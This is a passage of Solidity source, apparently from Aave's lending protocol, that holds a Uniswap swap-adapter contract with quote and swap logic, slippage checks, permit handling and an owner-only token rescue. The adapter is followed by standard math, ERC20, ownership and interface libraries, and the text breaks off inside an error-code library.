9; // USD oracle asset address address public constant override USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96; address public immutable override WETH_ADDRESS; IPriceOracleGetter public immutable override ORACLE; IUniswapV2Router02 public immutable override UNISWAP_ROUTER; constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public FlashLoanReceiverBase(addressesProvider) { ORACLE = IPriceOracleGetter(addressesProvider.getPriceOracle()); UNISWAP_ROUTER = uniswapRouter; WETH_ADDRESS = wethAddress; } /** * @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices * @param amountIn Amount of reserveIn * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount out of the reserveOut * @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function getAmountsOut( uint256 amountIn, address reserveIn, address reserveOut ) external view override returns ( uint256, uint256, uint256, uint256, address[] memory ) { AmountCalc memory results = _getAmountsOutData(reserveIn, reserveOut, amountIn); return ( results.calculatedAmount, results.relativePrice, results.amountInUsd, results.amountOutUsd, results.path ); } /** * @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices * @param amountOut Amount of reserveOut * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount in of the reserveIn * @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function getAmountsIn( uint256 amountOut, address reserveIn, address reserveOut ) external view override returns ( uint256, uint256, uint256, uint256, address[] memory ) { AmountCalc memory results = _getAmountsInData(reserveIn, reserveOut, amountOut); return ( results.calculatedAmount, results.relativePrice, results.amountInUsd, results.amountOutUsd, results.path ); } /** * @dev Swaps an exact `amountToSwap` of an asset to another * @param assetToSwapFrom Origin asset * @param assetToSwapTo Destination asset * @param amountToSwap Exact amount of `assetToSwapFrom` to be swapped * @param minAmountOut the min amount of `assetToSwapTo` to be received from the swap * @return the amount received from the swap */ function _swapExactTokensForTokens( address assetToSwapFrom, address assetToSwapTo, uint256 amountToSwap, uint256 minAmountOut, bool useEthPath ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom); uint256 toAssetDecimals = _getDecimals(assetToSwapTo); uint256 fromAssetPrice = _getPrice(assetToSwapFrom); uint256 toAssetPrice = _getPrice(assetToSwapTo); uint256 expectedMinAmountOut = amountToSwap .mul(fromAssetPrice.mul(10**toAssetDecimals)) .div(toAssetPrice.mul(10**fromAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(MAX_SLIPPAGE_PERCENT)); require(expectedMinAmountOut < minAmountOut, 'minAmountOut exceed max slippage'); // Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), amountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; } else { path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } uint256[] memory amounts = UNISWAP_ROUTER.swapExactTokensForTokens( amountToSwap, minAmountOut, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[amounts.length - 1]; } /** * @dev Receive an exact amount `amountToReceive` of `assetToSwapTo` tokens for as few `assetToSwapFrom` tokens as * possible. * @param assetToSwapFrom Origin asset * @param assetToSwapTo Destination asset * @param maxAmountToSwap Max amount of `assetToSwapFrom` allowed to be swapped * @param amountToReceive Exact amount of `assetToSwapTo` to receive * @return the amount swapped */ function _swapTokensForExactTokens( address assetToSwapFrom, address assetToSwapTo, uint256 maxAmountToSwap, uint256 amountToReceive, bool useEthPath ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFrom); uint256 toAssetDecimals = _getDecimals(assetToSwapTo); uint256 fromAssetPrice = _getPrice(assetToSwapFrom); uint256 toAssetPrice = _getPrice(assetToSwapTo); uint256 expectedMaxAmountToSwap = amountToReceive .mul(toAssetPrice.mul(10**fromAssetDecimals)) .div(fromAssetPrice.mul(10**toAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.add(MAX_SLIPPAGE_PERCENT)); require(maxAmountToSwap < expectedMaxAmountToSwap, 'maxAmountToSwap exceed max slippage'); // Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix. IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), maxAmountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; } else { path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } uint256[] memory amounts = UNISWAP_ROUTER.swapTokensForExactTokens( amountToReceive, maxAmountToSwap, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[0]; } /** * @dev Get the price of the asset from the oracle denominated in eth * @param asset address * @return eth price for the asset */ function _getPrice(address asset) internal view returns (uint256) { return ORACLE.getAssetPrice(asset); } /** * @dev Get the decimals of an asset * @return number of decimals of the asset */ function _getDecimals(address asset) internal view returns (uint256) { return IERC20Detailed(asset).decimals(); } /** * @dev Get the aToken associated to the asset * @return address of the aToken */ function _getReserveData(address asset) internal view returns (DataTypes.ReserveData memory) { return LENDING_POOL.getReserveData(asset); } /** * @dev Pull the ATokens from the user * @param reserve address of the asset * @param reserveAToken address of the aToken of the reserve * @param user address * @param amount of tokens to be transferred to the contract * @param permitSignature struct containing the permit signature */ function _pullAToken( address reserve, address reserveAToken, address user, uint256 amount, PermitSignature memory permitSignature ) internal { if (_usePermit(permitSignature)) { IERC20WithPermit(reserveAToken).permit( user, address(this), permitSignature.amount, permitSignature.deadline, permitSignature.v, permitSignature.r, permitSignature.s ); } // transfer from user to adapter IERC20(reserveAToken).safeTransferFrom(user, address(this), amount); // withdraw reserve LENDING_POOL.withdraw(reserve, amount, address(this)); } /** * @dev Tells if the permit method should be called by inspecting if there is a valid signature. * If signature params are set to 0, then permit won't be called. * @param signature struct containing the permit signature * @return whether or not permit should be called */ function _usePermit(PermitSignature memory signature) internal pure returns (bool) { return !(uint256(signature.deadline) == uint256(signature.v) && uint256(signature.deadline) == 0); } /** * @dev Calculates the value denominated in USD * @param reserve Address of the reserve * @param amount Amount of the reserve * @param decimals Decimals of the reserve * @return whether or not permit should be called */ function _calcUsdValue( address reserve, uint256 amount, uint256 decimals ) internal view returns (uint256) { uint256 ethUsdPrice = _getPrice(USD_ADDRESS); uint256 reservePrice = _getPrice(reserve); return amount.mul(reservePrice).div(10**decimals).mul(ethUsdPrice).div(10**18); } /** * @dev Given an input asset amount, returns the maximum output amount of the other asset * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountIn Amount of reserveIn * @return Struct containing the following information: * uint256 Amount out of the reserveOut * uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * uint256 In amount of reserveIn value denominated in USD (8 decimals) * uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function _getAmountsOutData( address reserveIn, address reserveOut, uint256 amountIn ) internal view returns (AmountCalc memory) { // Subtract flash loan fee uint256 finalAmountIn = amountIn.sub(amountIn.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); if (reserveIn == reserveOut) { uint256 reserveDecimals = _getDecimals(reserveIn); address[] memory path = new address[](1); path[0] = reserveIn; return AmountCalc( finalAmountIn, finalAmountIn.mul(10**18).div(amountIn), _calcUsdValue(reserveIn, amountIn, reserveDecimals), _calcUsdValue(reserveIn, finalAmountIn, reserveDecimals), path ); } address[] memory simplePath = new address[](2); simplePath[0] = reserveIn; simplePath[1] = reserveOut; uint256[] memory amountsWithoutWeth; uint256[] memory amountsWithWeth; address[] memory pathWithWeth = new address[](3); if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) { pathWithWeth[0] = reserveIn; pathWithWeth[1] = WETH_ADDRESS; pathWithWeth[2] = reserveOut; try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, pathWithWeth) returns ( uint256[] memory resultsWithWeth ) { amountsWithWeth = resultsWithWeth; } catch { amountsWithWeth = new uint256[](3); } } else { amountsWithWeth = new uint256[](3); } uint256 bestAmountOut; try UNISWAP_ROUTER.getAmountsOut(finalAmountIn, simplePath) returns ( uint256[] memory resultAmounts ) { amountsWithoutWeth = resultAmounts; bestAmountOut = (amountsWithWeth[2] > amountsWithoutWeth[1]) ? amountsWithWeth[2] : amountsWithoutWeth[1]; } catch { amountsWithoutWeth = new uint256[](2); bestAmountOut = amountsWithWeth[2]; } uint256 reserveInDecimals = _getDecimals(reserveIn); uint256 reserveOutDecimals = _getDecimals(reserveOut); uint256 outPerInPrice = finalAmountIn.mul(10**18).mul(10**reserveOutDecimals).div( bestAmountOut.mul(10**reserveInDecimals) ); return AmountCalc( bestAmountOut, outPerInPrice, _calcUsdValue(reserveIn, amountIn, reserveInDecimals), _calcUsdValue(reserveOut, bestAmountOut, reserveOutDecimals), (bestAmountOut == 0) ? new address[](2) : (bestAmountOut == amountsWithoutWeth[1]) ? simplePath : pathWithWeth ); } /** * @dev Returns the minimum input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return Struct containing the following information: * uint256 Amount in of the reserveIn * uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * uint256 In amount of reserveIn value denominated in USD (8 decimals) * uint256 Out amount of reserveOut value denominated in USD (8 decimals) */ function _getAmountsInData( address reserveIn, address reserveOut, uint256 amountOut ) internal view returns (AmountCalc memory) { if (reserveIn == reserveOut) { // Add flash loan fee uint256 amountIn = amountOut.add(amountOut.mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); uint256 reserveDecimals = _getDecimals(reserveIn); address[] memory path = new address[](1); path[0] = reserveIn; return AmountCalc( amountIn, amountOut.mul(10**18).div(amountIn), _calcUsdValue(reserveIn, amountIn, reserveDecimals), _calcUsdValue(reserveIn, amountOut, reserveDecimals), path ); } (uint256[] memory amounts, address[] memory path) = _getAmountsInAndPath(reserveIn, reserveOut, amountOut); // Add flash loan fee uint256 finalAmountIn = amounts[0].add(amounts[0].mul(FLASHLOAN_PREMIUM_TOTAL).div(10000)); uint256 reserveInDecimals = _getDecimals(reserveIn); uint256 reserveOutDecimals = _getDecimals(reserveOut); uint256 inPerOutPrice = amountOut.mul(10**18).mul(10**reserveInDecimals).div( finalAmountIn.mul(10**reserveOutDecimals) ); return AmountCalc( finalAmountIn, inPerOutPrice, _calcUsdValue(reserveIn, finalAmountIn, reserveInDecimals), _calcUsdValue(reserveOut, amountOut, reserveOutDecimals), path ); } /** * @dev Calculates the input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return uint256[] amounts Array containing the amountIn and amountOut for a swap */ function _getAmountsInAndPath( address reserveIn, address reserveOut, uint256 amountOut ) internal view returns (uint256[] memory, address[] memory) { address[] memory simplePath = new address[](2); simplePath[0] = reserveIn; simplePath[1] = reserveOut; uint256[] memory amountsWithoutWeth; uint256[] memory amountsWithWeth; address[] memory pathWithWeth = new address[](3); if (reserveIn != WETH_ADDRESS && reserveOut != WETH_ADDRESS) { pathWithWeth[0] = reserveIn; pathWithWeth[1] = WETH_ADDRESS; pathWithWeth[2] = reserveOut; try UNISWAP_ROUTER.getAmountsIn(amountOut, pathWithWeth) returns ( uint256[] memory resultsWithWeth ) { amountsWithWeth = resultsWithWeth; } catch { amountsWithWeth = new uint256[](3); } } else { amountsWithWeth = new uint256[](3); } try UNISWAP_ROUTER.getAmountsIn(amountOut, simplePath) returns ( uint256[] memory resultAmounts ) { amountsWithoutWeth = resultAmounts; return (amountsWithWeth[0] < amountsWithoutWeth[0] && amountsWithWeth[0] != 0) ? (amountsWithWeth, pathWithWeth) : (amountsWithoutWeth, simplePath); } catch { return (amountsWithWeth, pathWithWeth); } } /** * @dev Calculates the input asset amount required to buy the given output asset amount * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @param amountOut Amount of reserveOut * @return uint256[] amounts Array containing the amountIn and amountOut for a swap */ function _getAmountsIn( address reserveIn, address reserveOut, uint256 amountOut, bool useEthPath ) internal view returns (uint256[] memory) { address[] memory path; if (useEthPath) { path = new address[](3); path[0] = reserveIn; path[1] = WETH_ADDRESS; path[2] = reserveOut; } else { path = new address[](2); path[0] = reserveIn; path[1] = reserveOut; } return UNISWAP_ROUTER.getAmountsIn(amountOut, path); } /** * @dev Emergency rescue for token stucked on this contract, as failsafe mechanism * - Funds should never remain in this contract more time than during transactions * - Only callable by the owner **/ function rescueTokens(IERC20 token) external onlyOwner { token.transfer(owner(), token.balanceOf(address(this))); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; /** * @title PercentageMath library * @author Aave * @notice Provides functions to perform percentage calculations * @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR * @dev Operations are rounded half up **/ library PercentageMath { uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2; /** * @dev Executes a percentage multiplication * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The percentage of value **/ function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) { if (value == 0 || percentage == 0) { return 0; } require( value <= (type(uint256).max - HALF_PERCENT) / percentage, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR; } /** * @dev Executes a percentage division * @param value The value of which the percentage needs to be calculated * @param percentage The percentage of the value to be calculated * @return The value divided the percentage **/ function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) { require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO); uint256 halfPercentage = percentage / 2; require( value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR, Errors.MATH_MULTIPLICATION_OVERFLOW ); return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; interface IERC20Detailed is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import {IERC20} from './IERC20.sol'; import {SafeMath} from './SafeMath.sol'; import {Address} from './Address.sol'; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), 'SafeERC20: approve from non-zero to non-zero allowance' ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), 'SafeERC20: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, 'SafeERC20: low-level call failed'); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed'); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProvider { event MarketIdSet(string newMarketId); event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function getMarketId() external view returns (string memory); function setMarketId(string calldata marketId) external; function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function setLendingRateOracle(address lendingRateOracle) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IUniswapV2Router02 { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IPriceOracleGetter interface * @notice Interface for the Aave price oracle. **/ interface IPriceOracleGetter { /** * @dev returns the asset price in ETH * @param asset the address of the asset * @return the ETH price of the asset **/ function getAssetPrice(address asset) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; interface IERC20WithPermit is IERC20 { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {IFlashLoanReceiver} from '../interfaces/IFlashLoanReceiver.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../../interfaces/ILendingPool.sol'; abstract contract FlashLoanReceiverBase is IFlashLoanReceiver { using SafeERC20 for IERC20; using SafeMath for uint256; ILendingPoolAddressesProvider public immutable override ADDRESSES_PROVIDER; ILendingPool public immutable override LENDING_POOL; constructor(ILendingPoolAddressesProvider provider) public { ADDRESSES_PROVIDER = provider; LENDING_POOL = ILendingPool(provider.getLendingPool()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IPriceOracleGetter} from '../../interfaces/IPriceOracleGetter.sol'; import {IUniswapV2Router02} from '../../interfaces/IUniswapV2Router02.sol'; interface IBaseUniswapAdapter { event Swapped(address fromAsset, address toAsset, uint256 fromAmount, uint256 receivedAmount); struct PermitSignature { uint256 amount; uint256 deadline; uint8 v; bytes32 r; bytes32 s; } struct AmountCalc { uint256 calculatedAmount; uint256 relativePrice; uint256 amountInUsd; uint256 amountOutUsd; address[] path; } function WETH_ADDRESS() external returns (address); function MAX_SLIPPAGE_PERCENT() external returns (uint256); function FLASHLOAN_PREMIUM_TOTAL() external returns (uint256); function USD_ADDRESS() external returns (address); function ORACLE() external returns (IPriceOracleGetter); function UNISWAP_ROUTER() external returns (IUniswapV2Router02); /** * @dev Given an input asset amount, returns the maximum output amount of the other asset and the prices * @param amountIn Amount of reserveIn * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount out of the reserveOut * @return uint256 The price of out amount denominated in the reserveIn currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) * @return address[] The exchange path */ function getAmountsOut( uint256 amountIn, address reserveIn, address reserveOut ) external view returns ( uint256, uint256, uint256, uint256, address[] memory ); /** * @dev Returns the minimum input asset amount required to buy the given output asset amount and the prices * @param amountOut Amount of reserveOut * @param reserveIn Address of the asset to be swap from * @param reserveOut Address of the asset to be swap to * @return uint256 Amount in of the reserveIn * @return uint256 The price of in amount denominated in the reserveOut currency (18 decimals) * @return uint256 In amount of reserveIn value denominated in USD (8 decimals) * @return uint256 Out amount of reserveOut value denominated in USD (8 decimals) * @return address[] The exchange path */ function getAmountsIn( uint256 amountOut, address reserveIn, address reserveOut ) external view returns ( uint256, uint256, uint256, uint256, address[] memory ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title Errors library * @author Aave * @notice Defines the error messages emitted by the different contracts of the Aave protocol * @dev Error messages prefix glossary: * - VL = ValidationLogic * - MATH = Math libraries * - CT = Common errors between tokens (AToken, VariableDebtToken and StableDebtToken) * - AT = AToken * - SDT = StableDebtToken * - VDT = VariableDebtToken * - LP = LendingPool * - LPAPR = 